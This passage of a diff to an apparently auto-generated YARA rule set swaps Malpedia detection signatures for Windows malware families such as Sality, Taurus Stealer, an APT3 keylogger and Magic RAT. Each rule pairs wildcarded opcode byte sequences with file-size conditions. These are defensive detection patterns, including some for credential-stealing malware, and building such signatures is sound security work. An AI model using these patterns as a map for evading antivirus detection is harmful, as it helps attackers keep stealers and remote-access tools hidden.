8b1d???????? 57 0f57c0 } - $sequence_40 = { 68???????? ff15???????? a3???????? 85c0 750e 68???????? ff15???????? } - $sequence_41 = { ff15???????? 68c0d40100 ff15???????? e9???????? } - $sequence_42 = { ffd3 5e 85c0 7507 68???????? ffd7 5f } - $sequence_43 = { c705????????00000000 c705????????00000000 ffd3 8b3d???????? } - $sequence_44 = { 0305???????? 0b45f0 3305???????? a3???????? } - $sequence_45 = { 03048db0354200 eb05 b8???????? f6402820 } - $sequence_46 = { 03048db0354200 eb02 8bc6 80782900 } - $sequence_47 = { 03048db0354200 50 ff15???????? 5d } + $sequence_0 = { 4c8965f0 4c896df8 448865e0 488d5580 488d4d00 e8???????? } + $sequence_1 = { 4585c0 0f840e020000 89bb88000000 4183f803 0f82b6000000 8b8394000000 85c0 } + $sequence_2 = { 55 56 57 4881ec90000000 48c7442420feffffff 49895b18 488b05???????? } + $sequence_3 = { 483bd7 720e 48ffc2 4d8bc6 498b0f e8???????? } + $sequence_4 = { 488bda 33c0 488b5110 4983c8ff 89442420 48894310 48c743180f000000 } + $sequence_5 = { ffd3 99 33c2 2bc2 89442430 448be0 4c89642450 } + $sequence_6 = { eb03 488bd9 8b4018 25c0010000 410f100424 beffff0000 83f840 } + $sequence_7 = { 488bce ffd3 90 488b742478 488b06 488b5838 488bcb } + $sequence_8 = { 48897310 4c897318 408833 0f1007 0f1103 0f104f10 0f114b10 } + $sequence_9 = { 498bcd e8???????? 4533d2 84c0 741d 418adc 488bcf } condition: - 7 of them and filesize < 70128640 + 7 of them and filesize < 1492992 } -rule MALPEDIA_Win_Sality_Auto : FILE +rule MALPEDIA_Win_Magic_Rat_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "491e3727-8d5f-59a5-be7f-6df769a7e7b0" + id = "982c6058-0233-5962-b1e1-ee61f14d1ffc" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.sality" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.sality_auto.yar#L1-L222" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.magic_rat" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.magic_rat_auto.yar#L1-L109" license_url = "N/A" - logic_hash = "69c1f81399935d5f7c9bd23257cd0c140ba6f95de6444c6618514cda674397de" - score = 75 - quality = 73 + logic_hash = "f70d7be02c5b390e3f3dfd5324abdc86d2919bb20841095d121cf5bf228f41f4" + score = 60 + quality = 45 tags = "FILE" version = "1" tool = "yara-signator v0.6.0" @@ -132757,46 +132540,32 @@ rule MALPEDIA_Win_Sality_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { 81f201a00000 668955f8 eb0b 668b45f8 66d1e8 668945f8 } - $sequence_1 = { 6a67 e8???????? 83c410 8b4dfc 03c8 894dfc } - $sequence_2 = { 51 ff15???????? e9???????? 68581b0000 } - $sequence_3 = { 51 ff15???????? eb14 8d95f0fdffff } - $sequence_4 = { 81ec88010000 57 c78578feffff00000000 c685fcfeffff00 b940000000 33c0 8dbdfdfeffff } - $sequence_5 = { 6a66 e8???????? 83c410 8b55fc 03d0 8955fc eb37 } - $sequence_6 = { 0f8447010000 d1ea 7307 4e } - $sequence_7 = { 51 ff15???????? e8???????? 25ffff0000 } - $sequence_8 = { 7513 8bc2 83e804 8b00 8906 } - $sequence_9 = { 8920 896804 8d9dba114000 895808 } - $sequence_10 = { 035c240c 33c0 8b3b 037c240c 8b742410 } - $sequence_11 = { 8bf2 8bf8 50 ff95c5144000 8bc8 f3a6 61 } - $sequence_12 = { 52 ff953a144000 e8???????? 8907 } - $sequence_13 = { 646789260000 8b74240c 66813e4d5a 0f858c000000 03763c 813e50450000 } - $sequence_14 = { 8b7c2410 b996000000 32c0 f2ae 8bcf } - $sequence_15 = { 59 83c304 40 3b4218 75e2 3b4218 } - $sequence_16 = { 010d???????? 83c004 5f 5e } - $sequence_17 = { 00fb fb 804880bc 280d???????? } - $sequence_18 = { 0306 50 8b4e04 8d5608 } - $sequence_19 = { 0306 50 8d5604 e8???????? } - $sequence_20 = { 0007 7307 c607ff 8ac1 } - $sequence_21 = { 014304 c3 53 56 } - $sequence_22 = { 0202 7466 0fb77202 8b7a04 } - $sequence_23 = { 031e ff7608 ff7604 e8???????? } + $sequence_0 = { 5e 5f 5d c3 660f28c8 f20f5c0d???????? } + $sequence_1 = { 89c3 e8???????? 660fefc0 f20f2ac3 } + $sequence_2 = { 660f28d8 f20f5c1d???????? f20f2cc3 660fefdb } + $sequence_3 = { 894664 8b4368 894668 8b436c } + $sequence_4 = { c1e008 29d0 c1f810 84c0 } + $sequence_5 = { 8b12 83fa01 740a 83fa02 7405 83fa03 } + $sequence_6 = { 0fb6442425 0fb6542427 c1e018 c1e210 09d0 } + $sequence_7 = { 8b02 83c001 83f801 0f8721010000 } + $sequence_8 = { be02000000 e8???????? 84c0 75d5 } + $sequence_9 = { 7410 66c1e802 0fb7c0 69d07b140000 } condition: - 7 of them and filesize < 1523712 + 7 of them and filesize < 41843712 } -rule MALPEDIA_Win_Cosmicduke_Auto : FILE +rule MALPEDIA_Win_Keylogger_Apt3_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "3cb396e5-37a7-5104-9052-2cb8d08028c4" + id = "96f37009-369b-5f17-a68b-4eb5c0d4026d" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.cosmicduke" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.cosmicduke_auto.yar#L1-L132" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.keylogger_apt3" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.keylogger_apt3_auto.yar#L1-L131" license_url = "N/A" - logic_hash = "c91b7a120fba1263ab464236cd77e48a69e2be7cc7ffc669f627390a309044cd" + logic_hash = "023590d599979615d817aedf4414560e8504e62badef12c9dd3c7d358dc03318" score = 75 quality = 75 tags = "FILE" @@ -132810,32 +132579,32 @@ rule MALPEDIA_Win_Cosmicduke_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { 895df4 53 33f6 885dfb ff15???????? 85c0 0f8591000000 } - $sequence_1 = { eb0e 68???????? 8d85c0f9ffff 50 ffd3 68???????? 8d85d0fdffff } - $sequence_2 = { 68???????? 8d85f4fdffff 50 ff15???????? 8d85ecfbffff 50 } - $sequence_3 = { 7443 68???????? 8d842448020000 50 ffd6 85c0 7438 } - $sequence_4 = { 68???????? 6a01 6a01 68???????? e8???????? ba01000080 8bc8 } - $sequence_5 = { 668b044510984200 8b4dfc 6689044e 33c0 ff4d0c 75d2 8b4dfc } - $sequence_6 = { e8???????? 8b442450 8944240c 8d44240c 50 8bfe 8d442450 } - $sequence_7 = { 68???????? 50 6801000080 e8???????? e8???????? 3d09030000 7515 } - $sequence_8 = { ff15???????? 83c410 6a00 ff742434 68???????? e8???????? c644245c00 } - $sequence_9 = { 8d442424 50 8b442424 68???????? 57 895c2448 } + $sequence_0 = { 50 ffd7 8b4e08 6a08 51 ffd7 } + $sequence_1 = { 8b9c2430040000 55 8bac2430040000 56 57 8bbc2434040000 6800010000 } + $sequence_2 = { 52 ffd7 8b0d???????? 8d442424 50 51 } + $sequence_3 = { 8d45f0 50 e8???????? cc e8???????? 8b4004 c3 } + $sequence_4 = { e8???????? 55 e8???????? 68???????? e8???????? 8b8c2440020000 83c40c } + $sequence_5 = { 52 ffd7 a1???????? 896844 8b9eac010000 85db 742e } + $sequence_6 = { 52 e8???????? 8d862c020000 50 8d4c242c 68???????? 51 } + $sequence_7 = { 8d7c00ff 3bc7 89442418 0f8dc6000000 8b542414 8bd8 69db14010000 } + $sequence_8 = { 68???????? 52 ffd7 8b0d???????? 8d442438 50 } + $sequence_9 = { e8???????? 83c404 8b442414 6a00 6a00 6a10 8d54244c } condition: - 7 of them and filesize < 456704 + 7 of them and filesize < 761856 } -rule MALPEDIA_Win_Kurton_Auto : FILE +rule MALPEDIA_Win_Bohmini_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "d9353d3d-fdf8-56bf-b9b4-d5c14e22748b" + id = "7ffa4356-333d-5cd0-8977-11f17aa9ceda" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.kurton" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.kurton_auto.yar#L1-L120" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.bohmini" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.bohmini_auto.yar#L1-L126" license_url = "N/A" - logic_hash = "070c043684321322d3719fa588bcbbaeb820fca4094babc856258c0a6bac0e61" + logic_hash = "4b7b42d940efc962d3653e13f1a5647032ad0ceec459f0054e3c714b4efdf65b" score = 75 quality = 75 tags = "FILE" @@ -132849,32 +132618,32 @@ rule MALPEDIA_Win_Kurton_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { 50 57 e8???????? 68???????? e8???????? 83c404 } - $sequence_1 = { 52 ff15???????? 8b44241c 3bc3 7407 50 } - $sequence_2 = { 57 7355 8bc1 c1f805 8d3c85a05b0210 8bc1 } - $sequence_3 = { 8d4c240c 50 51 6a1f 52 } - $sequence_4 = { 83e103 f3a4 8d4c240c e8???????? 8d4c2448 } - $sequence_5 = { 8bce e8???????? 84c0 0f84d4000000 8bce e8???????? 84c0 } - $sequence_6 = { 0f8498feffff bf???????? 83c9ff 33c0 } - $sequence_7 = { 33c0 c68414c400000000 8bac24c8020000 f2ae f7d1 } - $sequence_8 = { 3ac3 0f84d9000000 3cff 0f84d1000000 fec8 } - $sequence_9 = { 57 55 8d5e10 8974241c 8bcb 8803 e8???????? } + $sequence_0 = { ffd5 85c0 7503 ff430c 8b36 85f6 } + $sequence_1 = { 8d442408 c744240824020000 50 56 e8???????? 85c0 741f } + $sequence_2 = { 57 51 6a00 6a00 ff15???????? 85c0 } + $sequence_3 = { 50 8d542424 51 52 8d442424 6aff 50 } + $sequence_4 = { 33d0 8855fc 8d742600 8b4df0 034df8 8a55fc 8811 } + $sequence_5 = { c74424080c000000 c744241000000000 8944240c ff15???????? 8b542404 } + $sequence_6 = { 85c0 7529 8d442400 56 50 e8???????? 8bf0 } + $sequence_7 = { ffd6 8b3d???????? 50 ffd7 55 6a00 } + $sequence_8 = { 837e0c0a 7e47 8b4e08 51 e8???????? 83c404 } + $sequence_9 = { 8d442418 50 56 e8???????? eb0b } condition: - 7 of them and filesize < 344064 + 7 of them and filesize < 139264 } -rule MALPEDIA_Win_Maudi_Auto : FILE +rule MALPEDIA_Win_Taurus_Stealer_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "1d89cb82-59a5-5a2e-ac6c-c7d75443bace" + id = "b1a1c877-dafe-5bd8-aa9e-f033e2a7d793" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.maudi" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.maudi_auto.yar#L1-L122" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.taurus_stealer" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.taurus_stealer_auto.yar#L1-L132" license_url = "N/A" - logic_hash = "d20863b5f36f8cd108ded6d29f5c3bed96160b9b4abc34b0d10161e337344d4d" + logic_hash = "45f5adaf95071a60a27cbbf5888b0c101a82ad499a857b2070bb83a96bceb96f" score = 75 quality = 75 tags = "FILE" @@ -132888,32 +132657,32 @@ rule MALPEDIA_Win_Maudi_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { 61 6886180000 59 80740fff36 e2f9 } - $sequence_1 = { 5d bf???????? 6a40 6800100000 6886180000 6a00 } - $sequence_2 = { 89e5 5d 8b80a4000000 83f806 7546 } - $sequence_3 = { 52 68???????? 87d1 87ca 51 } - $sequence_4 = { 55 89e5 5d 8b80a4000000 83f806 7546 } - $sequence_5 = { 6804010000 56 68???????? 87d1 } - $sequence_6 = { 89e5 81ec04010000 56 55 89e5 5d 89e6 } - $sequence_7 = { ff25???????? 83c418 6a00 57 56 68???????? 87d1 } - $sequence_8 = { 59 59 ff25???????? 68???????? 87d1 87ca } - $sequence_9 = { 59 e9???????? 55 89e5 5d bf???????? 6a40 } + $sequence_0 = { 0f9445d1 e8???????? 668945d2 8d4d94 8b45c4 8db778020000 3b45c8 } + $sequence_1 = { 8d45d0 50 8d45f4 50 e8???????? 50 8d45b8 } + $sequence_2 = { 8bce e8???????? 8bd0 c745f829674844 b129 c745fc4c130900 33c0 } + $sequence_3 = { 50 8d85c0feffff 50 8d4dcb e8???????? 8b85c4feffff 8d8d40ffffff } + $sequence_4 = { 33c0 304c05ed 40 83f806 7305 8a4dec } + $sequence_5 = { e8???????? 8bd0 c744242f74271706 6a07 58 88442436 b174 } + $sequence_6 = { f7c300200000 7414 81e3ffdfffff 8d8d04ffffff 895df8 e8???????? } + $sequence_7 = { 57 ffd0 8bf8 897d0c 83ffff 746f 8b9530ffffff } + $sequence_8 = { c1fa06 8bc7 83e03f 6bc838 8b049578c14300 f644082801 7421 } + $sequence_9 = { c74654c3280308 c7465881120d0e c7465ce58b8009 c74660d5208b07 c74664359ac202 c74668f19ad809 c7466ca13ba208 } condition: - 7 of them and filesize < 40960 + 7 of them and filesize < 524288 } -rule MALPEDIA_Win_Polyglotduke_Auto : FILE +rule MALPEDIA_Win_Snatchcrypto_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "5c295965-8bd5-593f-b721-c3ba45184139" + id = "606aa04d-2534-5b9c-a7ea-236168d717b6" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.polyglotduke" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.polyglotduke_auto.yar#L1-L125" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.snatchcrypto" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.snatchcrypto_auto.yar#L1-L133" license_url = "N/A" - logic_hash = "02803fa0214e774a255c3af744ecd162ea9c7b022e39aa2c1104c52737c743df" + logic_hash = "821ad44e204c834b4eeced1dd22888563234f9fd380bbb4b883fee2940f1717e" score = 75 quality = 75 tags = "FILE" @@ -132927,32 +132696,32 @@ rule MALPEDIA_Win_Polyglotduke_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { 488bcb 4803f7 e8???????? eb38 488d0d190f0100 e8???????? b905000000 } - $sequence_1 = { f6431840 4c8d0d0269ffff 0f85a5000000 488bcb e8???????? 488d15fdd30000 413bc6 } - $sequence_2 = { 4c8bf8 e8???????? 488d0d86d20000 4c8bf0 e8???????? 488d0d7fd20000 4c8be8 } - $sequence_3 = { 48894608 4803c8 e8???????? 8b54244c } - $sequence_4 = { 8a4f02 4c8bf0 884803 488bcf e8???????? 8b06 } - $sequence_5 = { 4c8d0d35db0000 33c0 498bd1 448d4008 3b0a 742b ffc0 } - $sequence_6 = { ff15???????? 488b5c2430 488bcb 8d78fb ff15???????? 03c7 } - $sequence_7 = { 498bd5 498bce ff15???????? 33ff } - $sequence_8 = { 7e74 817d0063736de0 7528 48833d????????00 741e 488d0d79db0000 } - $sequence_9 = { e9???????? 488bca ff15???????? 83f847 75eb 488bcd ff15???????? } + $sequence_0 = { ff15???????? 4889ae60030000 488b9330060000 488d0d6e0a0300 e8???????? 4889442460 } + $sequence_1 = { e8???????? 488d4d81 33d2 41b803010000 c6458000 e8???????? 488d8db1020000 } + $sequence_2 = { c1c80b 410bca 458bc2 4433c8 4123ce 418bc4 c1c806 } + $sequence_3 = { 740d 4c39b380010000 0f858b000000 bfc4feffff 488b4310 4c8b7c2470 4c8b6c2478 } + $sequence_4 = { 7499 488d1597280600 488bcf e8???????? 85c0 7486 488d158c280600 } + $sequence_5 = { 0fb605???????? 4188440f02 48635320 4c634324 48039590020000 4183c703 418bcf } + $sequence_6 = { 4889742418 57 4881ece0010000 488b05???????? 4833c4 48898424d0010000 488b7908 } + $sequence_7 = { 8bd8 85c0 0f85d3000000 4885f6 7416 488bce e8???????? } + $sequence_8 = { 0fb78b94030000 0fb7937e020000 410fb7c0 450fb7c8 c1e904 83e101 66c1e80a } + $sequence_9 = { 410fb6cb e8???????? 85c0 7547 448d4005 0fb6d3 410fb6cb } condition: - 7 of them and filesize < 222784 + 7 of them and filesize < 1400832 } -rule MALPEDIA_Win_Defray_Auto : FILE +rule MALPEDIA_Win_Splitloader_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "c67cc17c-f08c-53a6-ada6-8bb99660ec4c" + id = "1a1cb38c-8464-5fc4-a742-33ff9af7dc5d" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.defray" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.defray_auto.yar#L1-L132" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.splitloader" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.splitloader_auto.yar#L1-L118" license_url = "N/A" - logic_hash = "e0802b8bc0edda2578b1a81d41f729faf3574dbf8b45d2b645404d3734d8c95f" + logic_hash = "16d8d2ed74e30686bcfb5a681aebf6245d42317682bf1d1bc1fbb6f6c4392dc3" score = 75 quality = 75 tags = "FILE" @@ -132966,32 +132735,32 @@ rule MALPEDIA_Win_Defray_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { b86effffff 5e 8be5 5d c3 8d4102 8906 } - $sequence_1 = { 8be5 5d c3 8b4d08 8d041e 5f 5e } - $sequence_2 = { 0f84cf020000 83f8ff 0f84c6020000 6880000000 ffd6 50 } - $sequence_3 = { 83c40c 83601000 8b4df0 68???????? 8d4918 e8???????? 8d45ec } - $sequence_4 = { e8???????? f6450801 59 740d 68b8000000 56 } - $sequence_5 = { 66a5 8dbdbefcffff be???????? ab ab ab ab } - $sequence_6 = { 33c0 663b88f0724700 740d 83c002 83f814 72ef 33c0 } - $sequence_7 = { 33ff 393d???????? 7e79 33db 6800001000 e8???????? 8bf0 } - $sequence_8 = { a5 a5 66a5 8dbdbef6ffff be???????? ab ab } - $sequence_9 = { 0fb7c7 894de8 884dd8 8d4dd8 6a08 8945d4 c745ec0f000000 } + $sequence_0 = { c6817401000043 c681f701000043 488d0524910000 488981b8000000 b90d000000 e8???????? } + $sequence_1 = { 8bca 418984240cab0000 48014d10 85c0 790a b8fdffffff } + $sequence_2 = { 8b430c 8905???????? 8bd7 4c8d05f073ffff 89542420 83fa05 } + $sequence_3 = { 488bcf 4889742420 ff15???????? 4533c9 } + $sequence_4 = { 488be9 41be08000000 4d85e4 750e 418d46f6 4883c460 415e } + $sequence_5 = { 48897c2418 4154 4883ec20 4c8d25fc970000 33f6 } + $sequence_6 = { 750e 0f1f4000 4883c702 6644391f 74f6 } + $sequence_7 = { 8905???????? 8b430c 8905???????? 8bd7 4c8d05f073ffff 89542420 } + $sequence_8 = { eb9a 488d15df660000 488d0dc0660000 e8???????? 488d15dc660000 } + $sequence_9 = { 6644391f 750e 0f1f4000 4883c702 } condition: - 7 of them and filesize < 1253376 + 7 of them and filesize < 174080 } -rule MALPEDIA_Win_Deadwood_Auto : FILE +rule MALPEDIA_Win_Rcs_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "b63793f4-2418-5ad7-9269-78c13c5e655b" + id = "88c200d0-341d-5e6f-ae92-f6d74505595f" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.deadwood" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.deadwood_auto.yar#L1-L131" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.rcs" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.rcs_auto.yar#L1-L178" license_url = "N/A" - logic_hash = "37c079b3ff282377b03776f4a709dbdd660de9909aaf5ffcbe15f9216992b56f" + logic_hash = "3382bc9aa5e79b7f4a031deda04f3ba8bd2d1a1f1a24d3ec268d1e68154c00c2" score = 75 quality = 75 tags = "FILE" @@ -133005,32 +132774,40 @@ rule MALPEDIA_Win_Deadwood_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { b9???????? c645fcc6 e8???????? 68???????? b9???????? c645fcc7 } - $sequence_1 = { 68f0d8ffff 57 56 e8???????? 89442428 8954242c } - $sequence_2 = { e8???????? 33c0 e9???????? 8975e4 33c0 39b8a0e34600 0f8491000000 } - $sequence_3 = { c1f803 57 83f828 0f8e27010000 40 99 83e207 } - $sequence_4 = { 895e14 385d0c 7409 c745e858f54500 eb06 8b4008 8945e8 } - $sequence_5 = { 52 c745fc04000000 e8???????? 8d4dd0 8d851cffffff e8???????? } - $sequence_6 = { 57 897dfc 57 c745c801000000 ff15???????? 8bf8 897dd0 } - $sequence_7 = { 57 33db 6807020000 8d85f5fdffff 53 50 8bf1 } - $sequence_8 = { 8bc2 c1e81f 03c2 03f8 83c40c 897d14 85f6 } - $sequence_9 = { ffd5 8b4c241c 64890d00000000 59 5f 5e 5d } + $sequence_0 = { e8???????? 83c430 6aff 68???????? } + $sequence_1 = { 89442456 8944245a 8944245e 89442462 89442466 8944246a } + $sequence_2 = { ff15???????? 5f 5e 5d 5b 33c0 } + $sequence_3 = { 85ff 0f84d4000000 57 e8???????? } + $sequence_4 = { 40 68???????? 50 e8???????? 83c40c eb0d } + $sequence_5 = { 6a00 6880000000 6a01 6a00 6a05 } + $sequence_6 = { 83fd03 7c89 8b7c243c 33ed } + $sequence_7 = { 6a20 6a01 6a0a 6a11 ff5660 8bbedc000000 } + $sequence_8 = { 8bbedc000000 8bbf14120000 89da 81e2ffff0000 c1e204 } + $sequence_9 = { 89473c 8b7d08 8b37 81c6a1010000 } + $sequence_10 = { e8???????? 83c41c 8d4d80 83c8ff } + $sequence_11 = { c9 c3 55 89e5 81ec04020000 } + $sequence_12 = { 81f2be387d15 e9???????? 8be5 c1cead } + $sequence_13 = { 83fd02 7c2d 8b07 8d54300c 3b11 7350 03c6 } + $sequence_14 = { 898528f4fbff 8b86dc000000 833800 0f94c0 83e001 } + $sequence_15 = { 81f2d141ed35 f8 f5 d1ca } + $sequence_16 = { 817deca4000000 72c2 56 e8???????? } + $sequence_17 = { ffb56cf4fbff ffb584f4fbff ffb5a0f9fbff 8b86dc000000 8b5020 03905c020000 52 } condition: - 7 of them and filesize < 1055744 + 7 of them and filesize < 11501568 } -rule MALPEDIA_Win_Acr_Stealer_Auto : FILE +rule MALPEDIA_Win_Tinyfluff_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "547d8bdd-72e9-53c8-a71c-7409f9635ddc" + id = "261677c7-52da-544b-abba-e2c9762083b2" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.acr_stealer" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.acr_stealer_auto.yar#L1-L131" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.tinyfluff" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.tinyfluff_auto.yar#L1-L118" license_url = "N/A" - logic_hash = "c2e01cdbfe17e3a90e2e6ed950f1a1b39c17c8ce5a68e48be7cf324c1277f6cb" + logic_hash = "305926cc2d71188dd193eb77d1fd5b2696d785cc7114678a3a44727f806b5473" score = 75 quality = 75 tags = "FILE" @@ -133044,32 +132821,32 @@ rule MALPEDIA_Win_Acr_Stealer_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { 8b7008 8bce 6a00 ff15???????? 8bcf ffd6 5f } - $sequence_1 = { 6a0b 68???????? eb07 6a04 68???????? 8b3f 8b07 } - $sequence_2 = { 72fa 53 ff30 8b45f8 ff37 8b7030 } - $sequence_3 = { e8???????? 8bf2 33c9 c1ee0f 33f0 33ca } - $sequence_4 = { 8955f4 ff7407f8 e8???????? 8bfe 8955f0 83c410 } - $sequence_5 = { ff7034 ff15???????? ffd6 83c410 85c0 0f8490000000 8b4ddc } - $sequence_6 = { 894e44 83f908 73da 8b95b4feffff 3bd7 0f821affffff 8b4dfc } - $sequence_7 = { 397df4 7508 3bc1 0f8411ffffff 85c9 7403 49 } - $sequence_8 = { 8955f4 85c0 7406 c70000000000 85db 0f8420010000 33c0 } - $sequence_9 = { 85db 7469 83fb03 7329 66019e12860000 0f1f440000 8bc7 } + $sequence_0 = { 51 50 51 ffb5dcfbffff 8d8d74fbffff e8???????? 8d8590fbffff } + $sequence_1 = { 85c0 7418 8b858cfbffff 85c0 7407 50 } + $sequence_2 = { 8b0c8550704100 8a043b 03ce 8b75dc } + $sequence_3 = { eb6f 8b07 8d1c85446d4100 8b33 85f6 } + $sequence_4 = { e8???????? be01000000 8b95d8fbffff 83fa08 7235 } + $sequence_5 = { c7404860604100 8b4508 6689486c 8b4508 66898872010000 8d4dff 8b4508 } + $sequence_6 = { c7404860604100 8b4508 6689486c 8b4508 66898872010000 } + $sequence_7 = { 33c0 c744246000000000 c744246407000000 6689442450 } + $sequence_8 = { 8d85a8fbffff 6a01 0f4385a8fbffff 68???????? } + $sequence_9 = { c1fa06 8934b8 8bc7 83e03f 6bc838 8b049550704100 8b440818 } condition: - 7 of them and filesize < 1246208 + 7 of them and filesize < 245760 } -rule MALPEDIA_Win_Keyhole_Auto : FILE +rule MALPEDIA_Win_Unidentified_087_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "1424dce1-e15d-5891-8b31-d03e6f9196b6" + id = "6032a71d-315e-5161-8b29-e52778de6b9c" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.keyhole" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.keyhole_auto.yar#L1-L133" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.unidentified_087" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.unidentified_087_auto.yar#L1-L166" license_url = "N/A" - logic_hash = "5d8e02829700ab11940f33d62fd46ba422e843d7ddb0ea7b421b42e641a7096f" + logic_hash = "6f89e449c7df0d973fa61becfc3b5884b82be1e57577d3cbd257d75e0b80e7b8" score = 75 quality = 75 tags = "FILE" @@ -133083,32 +132860,38 @@ rule MALPEDIA_Win_Keyhole_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { 8d442404 0f11442404 50 0f11442418 c744240830000000 c744241090f36800 c744241c00000000 } - $sequence_1 = { 2bee 90 8a01 8d4901 884429ff 83ef01 75f2 } - $sequence_2 = { 6a00 ff15???????? 8bd8 85ff 7515 8b0d???????? 81c15d010000 } - $sequence_3 = { 47 83c414 83c614 3bf8 72da a1???????? 33ff } - $sequence_4 = { 83ec08 53 8b5c2418 8bc3 d1e8 56 8d3440 } - $sequence_5 = { c3 a900080000 7404 33c0 eb11 56 53 } - $sequence_6 = { 7507 b9f5060000 eb1a 83f920 7205 83f97e 761e } - $sequence_7 = { 85c0 741f 53 e8???????? 83c404 85c0 } - $sequence_8 = { 3bf7 725d 8b7c2420 8bc2 25ff030000 0fbf844560010000 89442410 } - $sequence_9 = { 8d442420 50 55 6a00 ff15???????? 8b442428 8b542420 } + $sequence_0 = { 498bdd 666666666666660f1f840000000000 0fb6941c98000000 498bcf e8???????? } + $sequence_1 = { 41b900000008 4533c0 488d5560 33c9 ff15???????? 488bf8 4885c0 } + $sequence_2 = { c7457001000000 c7457c02000000 488d4580 4889442428 488d85a8000000 } + $sequence_3 = { 4885c9 7407 ff15???????? 90 4885db } + $sequence_4 = { 488d0c38 4d8bc7 4903cc 4803d5 e8???????? } + $sequence_5 = { 4883794800 7503 83ca04 4533c0 e8???????? 488b442450 } + $sequence_6 = { 4883fb01 0f8288000000 488d2d0e9a0200 48833d????????10 480f432d???????? } + $sequence_7 = { 488d5c3bff 498d7b01 4c8bc3 8bd5 } + $sequence_8 = { 50 56 68???????? 57 ff15???????? 3b442410 7414 } + $sequence_9 = { c78550fbffff94000000 8d8d50fbffff 51 ff15???????? } + $sequence_10 = { 3c58 770f 0fbec2 0fbe80c8b10110 } + $sequence_11 = { 7429 8b5508 39542410 7412 8d442408 50 } + $sequence_12 = { 52 